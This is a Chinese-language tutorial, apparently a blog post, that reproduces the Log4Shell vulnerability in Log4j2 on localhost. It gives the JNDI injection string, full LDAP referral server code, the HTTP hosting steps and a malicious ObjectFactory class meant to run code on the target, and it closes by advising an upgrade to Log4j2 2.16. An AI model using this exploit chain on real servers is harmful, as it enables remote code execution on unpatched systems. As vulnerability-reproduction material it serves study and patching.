2021年12月09日,Apache Log4j2被爆出存在安全漏洞,于是尝试复现一下。
重要:被攻击方运行log4j2打印日志进程的jdk版本不能太高,8u191版本以后会将com.sun.jndi.ldap.object.trustURLCodebase
参数默认设置为false,不好复现本次漏洞。使用较低版本的jdk可以直接复现本次漏洞,如果使用的是较高版本的jdk,那么需要在启动时添加参数:-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
来复现这次漏洞。
准备一个maven项目,添加pom依赖(版本号小于等于2.14即可):
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.1</version>
</dependency>
编写简单的打印日志的代码:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @author Tango Huang
* create at 2021/12/15 14:34
*/
public class Test {
private static final Logger LOGGER = LogManager.getLogger(Test.class);
public static void main(String[] args) {
LOGGER.info("start");
// 注意:这里的0.0.0.0:8888是需要自己指定的,和下一节启动的ldap服务的地址和端口必须相同
String userName = "${jndi:ldap://0.0.0.0:8888/hello}";
LOGGER.info("userName:{}", userName);
}
}
准备一个log4j2的配置文件log4j2.xml放入resources目录,这里就不展示了。
网上主流的做法是使用marshalsec项目,git clone下来后使用maven package打包,进入target目录,运行以下命令启动一个ldap服务:
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:80/#Test 8888
(jar包的版本号视具体情况而定,主类信息固定,后面的http://localhost:80/#Test 8888
是启动参数,后面会讲到)
也可以clone下来后,在本地ide里面找到LDAPRefServer
的主函数运行。
这里也贴出具体的代码,如果不想clone,也可以直接拷贝这段代码后本地运行:
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
port = Integer.parseInt(args[ 1 ]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
注意:通过这段代码启动ldap服务时,必须指定两个参数http://localhost:80/#Test 8888
,其含义是:监听8888
端口,当接收到ldap请求后,会去http://localhost:80
这个链接寻找Test.class
文件。因此,可以根据实际需要修改这些参数。
因为会去http://localhost:80
这个链接寻找文件,因此需要搭建一个提供文件下载的http服务器,有以下几种方式,选一种喜欢的就行:
python启动:python -m SimpleHTTPServer 80
linux系统下,启动httpd服务:sudo service httpd start
windows系统下,启动httpd服务,网上教程
自己实现一个(不建议)
启动服务后,通过http://localhost:80/Test.class
可以直接下载一个文件,即搭建完成。
注意:
恶意代码最终需要生成一个class文件,因此这段代码不能依赖别的外部代码,所有代码必须写进一个java文件。
不用写package信息
该类必须实现javax.naming.spi.ObjectFactory
接口
这里给出一个示例:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* @author Tango Huang
* create at 2021/12/15 21:50
*/
public class Test implements ObjectFactory {
public Test() {
//在这里,写下任何你想在对方服务器上做的事情
String str = "in Test()";
System.out.println(str);
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// 返回的内容会在最终log4j2打印的时候打印出来
return "Hello, you have been attacked!";
}
}
写完java文件后,使用命令javac Test.java
,生成一个Test.class
文件,放在上一节启动了的http服务器的目录下,尝试请求http://localhost:80/Test.class
,能够成功下载文件即准备完成。
所有东西准备好后,直接启动log4j2打印日志的java进程,打印结果如下:
2021-12-16 15:06:38.989 [INFO ] com.k3.Test.main(Test.java:20) - start
in Test()
in Test()
2021-12-16 15:06:38.994 [INFO ] com.k3.Test.main(Test.java:22) - userName:Hello, you have been attacked!
in Test()
可以看到,被攻击进程会通过类加载器读取远端服务器上的类文件,加载到本地的进程中并执行默认的无参构造函数,确实十分危险。
升级log4j2版本到最新的2.16